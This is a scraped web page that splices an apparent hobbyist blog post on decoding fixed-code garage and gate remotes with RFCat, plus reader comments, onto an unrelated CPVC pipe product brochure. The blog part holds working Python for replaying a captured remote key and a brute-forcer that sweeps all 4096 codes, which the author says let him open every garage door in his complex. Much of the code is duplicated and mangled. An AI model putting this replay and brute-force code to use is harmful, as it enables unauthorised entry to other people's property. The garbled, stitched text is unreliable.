In this entry I’ll discuss using it to decode digital signals (this example on fixed remote signals often used for garages / gates ) so that they can be replayed/brute forced with something like the RFCat project (based on TI’s CC1111EMK module). This has probably been done to death already but I figured since I struggled with it maybe this will help someone else do it a lot quicker (and mostly cause I think its cool). SetFreq ( 403550000 ) #Set my frequency to the gate remote d. SetMdmModulation (MODASKOOK ) #Set my modulation to the right mode d.
MakePktFLEN ( 4 ) #Set my packetlength to 4 as I am sending 4 bytes d. SetMdmDRate ( 4800 ) #Baudrate d. SetMaxPower ( ) #PowerMuch? For i in range ( 0, 15 ):d. RFxmit ( ' xDE xAD xBE xEF' ); #Send this a few times as I want to clearly see my signal d.setFreq(403550000) #Set my frequency to the gate remote d.setMdmModulation(MODASKOOK) #Set my modulation to the right mode d.makePktFLEN(4) #Set my packetlength to 4 as I am sending 4 bytes d.setMdmDRate(4800) #Baudrate d.setMaxPower #PowerMuch?
10KHz - 30 MHz SDR - G8JNJ - South West UK - Using TC2M Antenna KiwiSDR v1.261 ? GPS ? ANT-SWITCH (0 / 4 users).
For i in range(0,15):d.RFxmit(' xDE xAD xBE xEF'); #Send this a few times as I want to clearly see my signal Taking a quick sqwizz at the above HDSDR output you can see that a) My garage remote is not at 403.55 and b) my RFcat is not there either! This is for a number of reasons but primarily because the RTL-SDR that I have isn’t that precise (you can configure it to get the offset correctly). But in this case I don’t really need that I merely need to keep changing the frequency until I have both at the same point. Turns out the frequency my RFCat loves for gate remotes is 403492750: Sidenote: Originally my RFcat had an issue where it wouldn’t tune to the correct frequency, if you do need to configure it by hand definite download and select the Cc1111 in offline mode, you can then click on expert mode and check ‘Register View’ and this will give you listing of all the registers to put the chip into the right mode: Once you have all the registers you can configure them within the python interactive shell or use something similar to how the setup900Mhz function works ( ).
NOTE: This issue was actually fixed by Michael Ossmann already — just added it just in case, you can get the latest from the repo! Alright, so at this stage we have our signal, we know what it is and we know what frequency to use, now we merely need to replay it out to get joy. This is a straight forward replay attack.
As I said before if you didn’t realise it was PWM ontop of it all you can be stuck at this point begging people for help. However PWM is pretty straight forward, so instead of sending your signal as is you actually want to draw it out, think of taking it and just stretching it. Every 1 becomes 11100 and every 0 becomes 11000, so if the binary we wanted to send out (for example my garage remote) is 01 00 10 11 00 11 it actually becomes. I think its probably a bit easier explained in code.
Deckey = 1203 #key value for my remote, 11 print 'Decimal key:',deckey binkey = bin (deckey ) print 'Binary (NON PWM) key:',binkey binstrkey = str (binkey ) 2: # there must be a better way sire. Pwmstrkey = '0b11100' #added leading 0 for k in binstrkey: x = '.' if (k '0' ): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if (k '1' ): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low).
Pwmstrkey = pwmstrkey + x print 'Binary (PWM) key:',pwmstrkey decpwmkey = int (pwmstrkey, 2 ); deckey = 1203 #key value for my remote, 11 print 'Decimal key:',deckey binkey = bin(deckey) print 'Binary (NON PWM) key:',binkey binstrkey = str(binkey)2: # there must be a better way sire. Pwmstrkey = '0b11100' #added leading 0 for k in binstrkey: x = '.' if(k '0'): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if(k '1'): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low). Pwmstrkey = pwmstrkey + x print 'Binary (PWM) key:',pwmstrkey decpwmkey = int(pwmstrkey,2); This Outputs to. Decimal key: 1203 Binary (NON PWM ) key: 0b1 Binary (PWM ) key: 0b Decimal key: 1203 Binary (NON PWM) key: 0b1 Binary (PWM) key: 0b At this stage I could take that binary and convert it to a byte string ( x0E x63 x9C xC7 x31 x8E x73 x18) and send it out with the above example and record it again with HDSDR. So to do this once more I opened RFCat and ran: d.setFreq(403492750) d.setMdmModulation(MODASKOOK) d.makePktFLEN(8) d.setMdmDRate(4800) d.setMaxPower for i in range(0,5):d.RFxmit(‘ x0E x63 x9C xC7 x31 x8E x73 x18’); Now I had the recording I opened it in Audacity, I also have the original signal so I could compare the two of them: (to get another track in Audacity just use file-import-audio) As you can see, all’s not well in paradise at this stage. For starters there is a series of data thats clearly not mine at the beginning and the gate remote seems to be arching upwards whilst my signal is arching downwards.
The first part of the signal is actually the preamble and syncword which for all intents and purposes I equate to something like a packet header that describes what the data will be, its commonly found throughout RF but for the remotes I am looking to spoof is not necessary. Lucky At1as has an option to simply turn this off, so using the same code but adding d.setMdmSyncMode(0) will turn off sync words and preamble. So if you re-record the remote and compare now you will see the following: Fantastic! So now we have two signals that are almost correct the only difference is that the original remote signal (bottom) has a leading 0 (not sure where I am missing one) and it starts from a high (1). Michael Ossmann explained this as “There is a carrier transmitted between each sequence. So the transmitter is never in the off (low) state except during a symbol.”, and what I had to do for that was simply pad the beginning and the end with ‘ xff xff’.
So from doing that (for all intents and purposes just using d.makePktFLEN(12) and sending ‘ xFF xFF x0E x63 x9C xC7 x31 x8E x73 x18 xFF xFF’) I now get the following: Bazinga! The two signals look the same:) Next was to go down to the garages to attempt to open them with this, first few tries I got absolutely nothing until someone asked how many times I was sending the signal and I said 5 (which seemed okay to me), but it appears I need to send it about 20-25 times before the garage opens. The range on the device was impressive however and I could do it a lot further away than I anticipated (I could open it from the gate of my complex which is around 20m or so to the garage). So of course I wanted to take this a little further, first being able to simply cook up a python script I could execute to simulate the button press, that came out something like this. #!/usr/bin/env python import sys import time from rflib import. from struct import.
d = RfCat ( ) keyLen = 0 baudRate = 4800 def ConfigureD (d ): d. SetMdmModulation (MODASKOOK ) d. SetFreq ( 403493000 ) d. MakePktFLEN (keyLen ) d. SetMdmSyncMode ( 0 ) d.
SetMdmDRate (baudRate ) d. SetMaxPower ( ) deckey = 1203 #key value for my remote, 11 print 'Decimal key:',deckey binkey = bin (deckey ) print 'Binary (NON PWM) key:',binkey binstrkey = str (binkey ) 2: # there must be a better way sire. Pwmstrkey = '0b11100' #added leading 0 for k in binstrkey: x = '.'
if (k '0' ): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if (k '1' ): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low). Pwmstrkey = pwmstrkey + x print 'Binary (PWM) key:',pwmstrkey decpwmkey = int (pwmstrkey, 2 ); print 'Decimal (PWN) key:',decpwmkey keypacked = pack ( 'Q',decpwmkey ) keypacked = ' xFF xFF' + keypacked + ' xFF xFF' keyLen = len (keypacked ) ConfigureD (d ) print 'TX'ing key.' For i in range ( 0, 25 ): d. RFxmit (keypacked ) print 'Done.' #!/usr/bin/env python import sys import time from rflib import. from struct import. d = RfCat keyLen = 0 baudRate = 4800 def ConfigureD(d): d.setMdmModulation(MODASKOOK) d.setFreq(403493000) d.makePktFLEN(keyLen) d.setMdmSyncMode(0) d.setMdmDRate(baudRate) d.setMaxPower deckey = 1203 #key value for my remote, 11 print 'Decimal key:',deckey binkey = bin(deckey) print 'Binary (NON PWM) key:',binkey binstrkey = str(binkey)2: # there must be a better way sire.
Pwmstrkey = '0b11100' #added leading 0 for k in binstrkey: x = '.' if(k '0'): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if(k '1'): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low). Pwmstrkey = pwmstrkey + x print 'Binary (PWM) key:',pwmstrkey decpwmkey = int(pwmstrkey,2); print 'Decimal (PWN) key:',decpwmkey keypacked = pack('Q',decpwmkey) keypacked = ' xFF xFF' + keypacked + ' xFF xFF' keyLen = len(keypacked) ConfigureD(d) print 'TX'ing key.' For i in range(0,25): d.RFxmit(keypacked) print 'Done.' The initial kick of opening my garage door eventually subsided and naturally it progressed to being able to open every garage door in the complex. With there being a 12 bit key, the keyspace was only 2^12, 4096 keys.
This didn’t seem particularly large. So I wrote a simple brute forcer for the 12 bit keyspace that my remotes run on at 403.55ish Mhz. #!/usr/bin/env python import sys import time import bitstring from rflib import. from struct import. d = RfCat ( ) keyLen = 0 fixedLen = 13 baudRate = 4800 codes = def ConfigureD (d ): d. SetMdmModulation (MODASKOOK ) d.
SetFreq ( 403493000 ) d. MakePktFLEN (fixedLen ) d.
SetMdmSyncMode ( 0 ) d. SetMdmDRate (baudRate ) d. SetMaxPower ( ) print 'Generating keys.' For deckey in range ( 0, 4096 ): #print 'Decimal key:',deckey binkey = bin (deckey ) #print 'Binary (NON PWM) key:',binkey binstrkey = str (binkey ) 2: # there must be a better way sire.
Pwmstrkey = '11100' #added leading 0 for k in binstrkey: x = '.' if (k '0' ): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if (k '1' ): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low). Pwmstrkey = pwmstrkey + x #print 'Binary (PWM) key:',pwmstrkey #pad it for x in range ( 0, len (pwmstrkey )% 8 ): pwmstrkey = '0' + pwmstrkey decpwmkey = int (pwmstrkey, 2 ); #encode it keypacked = bitstring.
BitArray (bin (decpwmkey ) ). Tobytes ( ) keypacked = ' xFF xFF' + keypacked + ' xFF xFF' keyLen = len (keypacked ) if (keyLen < fixedLen ): for p in range ( 0, (fixedLen - keyLen ) ): keypacked = ' xFF' + keypacked keyLen = len (keypacked ) #print 'Key len:',keyLen #print 'Key', keypacked.encode('hex') codes.
Append (keypacked ) print 'Done.' Print 'numKeys:', len (codes ) print 'Configuring device.' ConfigureD (d ) print 'Done.' NumKeysDone = 0 print 'TX'ing Keys' for key in codes: numKeysDone = numKeysDone + 1 for i in range ( 0, 25 ): try: d. RFxmit (key ) except Exception, e: print 'Lost comms to USB device (most likely).
Waiting 1 second, restarting it and going on' time. Sleep ( 1 ) ConfigureD (d ) continue if ( (numKeysDone. 25 )% 100 0 ): print 'Sent ',numKeysDone. 25, ' keys (', numKeysDone, ' keys ) of ', ( len (codes ).
25 ), ' (at 25 requests per code) ' print 'Completed.' #!/usr/bin/env python import sys import time import bitstring from rflib import. from struct import. d = RfCat keyLen = 0 fixedLen = 13 baudRate = 4800 codes = def ConfigureD(d): d.setMdmModulation(MODASKOOK) d.setFreq(403493000) d.makePktFLEN(fixedLen) d.setMdmSyncMode(0) d.setMdmDRate(baudRate) d.setMaxPower print 'Generating keys.'
For deckey in range(0,4096): #print 'Decimal key:',deckey binkey = bin(deckey) #print 'Binary (NON PWM) key:',binkey binstrkey = str(binkey)2: # there must be a better way sire. Pwmstrkey = '11100' #added leading 0 for k in binstrkey: x = '.' if(k '0'): x = '11100' # A zero is encoded as a longer high pulse (high-high-low) if(k '1'): x = '11000' # and a one is encoded as a shorter high pulse (high-low-low). I must admit im a bit pre occupied couldnt read thru the entire thing. Mstrt, Thanks for the comment, so with regards to what I did, rather than just replaying the signal I wanted to figure out how it worked so that I could not only replay it but also attack other codes in a similar range. There are a few questions I have about rolling codes, firstly how implemented are they, are they common for entry gates?
I briefly looked at mine earlier and it just seems to be a much longer code, 64 bits, with a preamble at the beginning. When holding down the button on the remote I dont see it changing freq at all, so i dont think it is code hoping. For an alarm system I have access to I see it changing frequency (only every few seconds, about 5) between presses (not when holding it down) but it doesnt look like it is changing code, its a very basic system and I was wondering If you know how those are generally implemented.
That script I linked to is actually command-line only. GNURadio Companion is probably the GUI you’re thinking of.
It’s basically like using Visio, but it generates python when you compile/run. So you could use it on a headless box over ssh, but I would definitely prefer to be on or very near the actual box and have a GUI. There are some other tools that launch GUI interfaces (e.g., mulimode or gqrx). Yes, I haven’t had much luck with a vitualized box either. It works, it just drops a lot of data at every sample rate (as shown by rtl-test). Alex, Thanks for the updates:) Yeah when I mentioned GNURadio I did mean GRC:) I’ve seen it and played briefly but not enough to warrant me writing a post on it. Basically just stuck to what I could do for now.
WRT to the reflashing, I was only testing at 403 and 433mhz, so I am not sure on the entire range, but during the workshop at Blackhat seemed to indicate that it can do almost everything from 300-928mhz. I honestly don’t know, I’d recommend speaking to the rfcat project guys about it:) Cheers, Andrew.
Hey Andrew, i work in security, and are conducting a proof of concept at my work based on record and play back of our cafeteria’s vibrating “unipgae” paging system. Each pager is uniquely paged but are all on the same frequency. I have recorded the signal on 450.3750mhz. The signal does not show clear zero’s and ones like your images. What would the process be to just replay the signal without manipulating it or understanding it? Is there a way to hand the wav file to an app that replays the signal through the CC1111EMK? Sorry if the question doesn’t make sense, this layer is totally new to me.
Thanks, Adam. Adam, Glad to see you are tinkering away, that project sounds AWESOME! So I had a quick look at the unipage.site and found this document: (I just google dorked it with “frequency site:unipage.com.au”) So having a look at that document it appears that its 450.3 as you said, it uses FM modulation and POCSAG paging, so its not exactly the same as mine, but you can get SDR#, Virtual Audtio Cable and PDW to try and decode them. Once you have that you will have to try get it to work with the CC1111EMK, I’m not sure how to do it, but you could easily test at home! Cheers, Andrew. Hi Andrew, Great post, this has really helped me. I am working on a similar project.
I have examined my signal in great depth and it made me wonder if all remote signals follow a similar convention. My signal always starts with a long low (a pilot stream), one high (a sync bit) and then the code as set by the DIP switches on my remote.
However, when I examined your signal I noticed that your signal does not follow the same convention. In contrast, your signal seems to start with a long high (perhaps a pilot stream) and there doesn’t appear to be a sync bit, just the 12 bits as set by your DIP switches. I think this difference might be down to the encoder chip that the remote uses. My remote uses a HT12E chip.
I was wondering if you might be able to tell me what chip your uses? You have a picture of the upside of your remote showing DIP switches, is there a chip visible on the reverse side with a part name on it? I would be very interested to know if our encoder chips are the same. Found this page as it was mentioned on an old hak5 episode. They also had an episode where michael ossman used osmocomfft / inspectrum to decode a wireless cabinet lock! But as a total beginner, I find it a bit confusing all the hardware and software products.
For example, Are HDSDR and SDR Sharp both used for the same purpose/hardware? Would any of those $20 dongles (i.e.
RTL2382U adc/usb with E4000 tuner?) work equally with those software? I know rfcat runs on ti’s wireless transceiver chip (cc1111) (ex.
$150 yardstick), but can it do anything the hackrf or limesdr couldn’t do? What about the ubertooth one (CC2591/CC2400)? Could a general purpose sdr (usrp b210, sdrplay) run the same software (wireshark/kismet) and do the same thing? For example, I’d love to try gnuradio to do atsc decoding, or do a gsm station (openbts?), or reverse engineering the RF protocol on a ceiling fan, or hacking a 433MHz Remote Control, or decode a Kambrook Power Point Controller, bluetooth, key fobs, etc, etc!
Any thoughts on the Airspy-r2 or the PantronX Titus II SDR?
![Sharp Sharp](http://www.hoka.net/oldweb/code300-32/inmarsatca2.jpg)
Astral CPVC Pro ASTRAL CPVC PRO is a class apart in the category, is something more than just a hot and cold plumbing system, an initiative of Astral to deliver a world class plumbing solution. ASTRAL CPVC PRO pipes and fittings, manufactured by Astral Poly Technik Ltd., are made from the specialty plastic, chemically known as Chlorinated Poly Vinyl Chloride (CPVC).
This CPVC compound shall meet cell class DP 110-2-3-2 as per IS 15778 and a maximum service temperature up to 93°C. This compound is carefully designed in our R & D and backed by our own expertise of manufacturing CPVC piping system from last 17 years, which gives excellent results in all applications for CPVC piping system. It is unique combination of highest impact resistance without any loss in pressure bearing capacity / Tensile strength or Vicat softening temperature.
This ensures best, trouble-free service and also stands notch above the initial installation issues of cracking / damages due to handling, storage and installation. These Pipes are produced in copper tube size (CTS) from 15 mm (½”) to 50 mm (2”) with two different standard dimensional ratios - SDR-11 and SDR-13.5 (Class 1 & Class 2 respectively as per IS 15778). The fittings are produced as per SDR 11. The Pipes and Fittings in SDR 11 class is also complies to ASTM standard.
All Astral CPVC SDR 11 and SDR 13.5 pipes are made from identical CPVC compound material having same physical properties. The CPVC fittings are manufactured from compound material which meets all the requirement as per ASTM standard. Apart from having the same physical properties, SDR 11 and SDR 13.5 come with different wall thickness and therefore, at any given temperature, they have different pressure ratings. PipeTemperature (°C)Pressure Rating Grade Unit 23°C 82°C SDR 11 PSI 400 100 Kg/cm2 SDR 13.5 PSI 320 80 Kg/cm2 Astral also produces CPVC PRO pipes in iron pipe size (IPS), available sizes are 65 mm (2½”) to 300 mm (12”) in SCH 40 and SCH 80 which meets the requirements of ASTM F 441.
The pressure rating varies with schedule pipe size and temperature. CPVC pipes of Copper Tube Size (CTS) dimensions can also be connected to CPVC (IPS) dimensions by using IPS x CTS fittings. STANDARDS & SPECIFICATIONS: IS 15778: Standard Specification for CPVC pipes for Hot and Cold Water Supplies -Specification. ASTM D1784: Standard Specification for Rigid Poly (Vinyl Chloride) (PVC) Compounds and Chlorinated Poly (Vinyl Chloride) (CPVC) Compounds. ASTM D2846: Specification for Chlorinated Poly (Vinyl Chloride) (CPVC) Plastic Hot & Cold water distribution systems. ASTM F493: Standard Specification for Solvent Cements for Chlorinated Poly (Vinyl Chloride) (CPVC) Plastic Pipe & Fittings.
ASTM F441: Standard Specification for Chlorinated Poly (Vinyl Chloride) (CPVC) Plastic Pipe, SCH 40 & 80. ASTM F438: Socket- Type Chlorinated Polyvinyl Chloride Plastic Pipe Fittings. ASTM F439: Socket-Type Chlorinated Polyvinyl Chloride Plastic Pipe Fittings. ASTM D2774: Underground installation of Thermoplastic pipes. NSF CERTIFIED: NSF International, a not-for-profit, non-governmental organization is the world leader in standards development, product certification, education, and risk management for public health and safety (www.nsf.org). For 65 years, NSF has been committed to public health, safety and environmental protection.
The NSF Mark is recognized for its value in international trade and is respected by regulatory agencies at the local, state, and national levels. Astral is the first Indian company to obtain certification from NSF for its CPVC products. MARKING AND UNIFORMITY: Pipes and fittings made from CPVC compounds shall be clearly marked with the manufacturers trademark, material designation, applicable ASTM / IS standard. SDR 11 Pipe: Tan coloured with red stripe SDR 11 fittings: Tan Colour SDR 13.5 Pipe: Tan coloured with brown stripe SDR 11 fittings: Tan Colour SCH 40 Pipe: Tan coloured with brown stripe SCH 40 fittings: Tan Colour SCH 80 Pipe: Tan coloured red stripe SCH 80 fittings: Tan Colour/Grey Colour FIELDS OF APPLICATIONS: Hot and Cold water applications in homes, apartments, hotels, resorts, hospitals, high and low rise buildings, corporate and commercial houses, academic institutes etc. For pure and hygienic water supply. SDR-11 Size (mm) Size (in.) Part No.
![Code Code](http://2.bp.blogspot.com/-t6mwofZxPC0/VXvctKz_eJI/AAAAAAAA4so/mQ2HMAtss4c/s1600/SDRsharp_DSD_DMR_MARC_mototurbo_5.png)
Standard pkg. (Nos.) 3 Mtr. Length Standard pkg. (Nos.) 5 Mtr. Length 15 ½ M511110301 100 60 20 ¾ M511110302 50 40 25 1 M511110303 30 25 32 1¼ M511110304 20 15 40 1½ M511110305 15 10 50 2 M511110306 8 6 SCH 80 Size(mm) Size(in) Part No. Standard pkg.
(Nos.) 3 Mtr. Length Standard pkg. (Nos.) 5 Mtr. Length 65 2½ M511800307 5 5 80 3 M511800308 3 3 100 4 M511800309 2 2 150 6 M511800310 1 1 200 8 M511800311 1 1 250 10 M511800312 1 1 300 12 M511800313 1 1.
Size (mm) Size (in.) Part No. Standard Pkg.
THERMAL EXPANSION AND THERMAL STRESSES Outside Diameters and Wall Thicknesses For CPVC 4120, SDR 11 Plastic Pipe As Per ASTM D-2846 Nominal Size (in.) (mm) Outside Diameter, in. (mm) Wall Thickness, in. (mm) Pressure Ratting. Hot and Cold water compatible: Astral CPVC PRO Piping System is compatible with both hot and cold water. It withstand very high temperature compared to any other thermoplastic plumbing systems. Many solar and electric water heaters have CPVC piping system for heat efficiency and lower installation cost.
Corrosion resistance: Astral CPVC PRO Piping System gives excellent resistance even under the harshest of water conditions so there are none of the purity worries from corrosion of metal pipe or soldered joints. Astral CPVC PRO Piping System keeps pure water as pure.
Lower bacterial growth: Bacteria build up with CPVC is far lower than with alternative piping materials - Copper, Steel and other thermoplastics. Tough, rigid material: Astral CPVC PRO Piping System has a much higher strength than other thermoplastics used in plumbing. This means that CPVC needs less hangers and supports and there is no unsightly looping of the pipe. Astral CPVC PRO Piping System has a higher pressure bearing capability. This leads to the same flow rate with a smaller pipe size.
No Scale, pit or leach formation: Even after years of use in the most aggressive conditions, Astral CPVC PRO Piping System won’t corrode, standing up to low pH water, coastal salt air exposures and corrosive soils. Astral CPVC PRO Piping System stays as solid and reliable as the day it was installed.
It maintains full water carrying capacity because its scale resistance means no build up to cause water pressure loss. Unaffected by chlorine in the water: Some materials may be adversely affected by chlorine contained in the water supply, which can cause breakdown of the polymer chains and potential leaks. In this respect, Astral CPVC PRO Piping System is unaffected by the chlorine present in potable water supply. Chemical resistance: CPVC has excellent chemical resistance to strong mineral acids and bases. Low thermal expansion: Astral CPVC PRO Piping System has a lower coefficient of thermal expansion than alternative plastics, reducing the amount that the pipe expands when hot water is running, again reducing unsightly ‘looping’ of the pipe. Easy, cold welding process: CPVC uses a simple, solvent cement jointing method.
Tools required are very simple and inexpensive (chamfering tool and pipe cutter only) and do not require the need for an electrical source. Superior insulation: Astral CPVC PRO Piping System is more energy efficient than metal pipe.
As an insulator it does not lose heat the way metal pipes do. Heat loss and thermal expansion are reduced. Fire safety: CPVC has a limiting Oxygen Index (LOI) of 60. Thus in air, Astral CPVC PRO Piping System does not support combustion. No flaming drips, does not increase the fire load, low flame spread, low smoke generation. Cost seffective: CPVC Plumbing System is very cost effective than any other plumbing systems.
It saves cost on fittings, loops, anchors, offsets, insulation, labour and expensive tools. More over CPVC plumbing systems last longer more than 50 years. COPYRIGHT(c) 2018-2019 ASTRAL POLYTECHNIK LIMITED.
ALL RIGHTS RESERVED.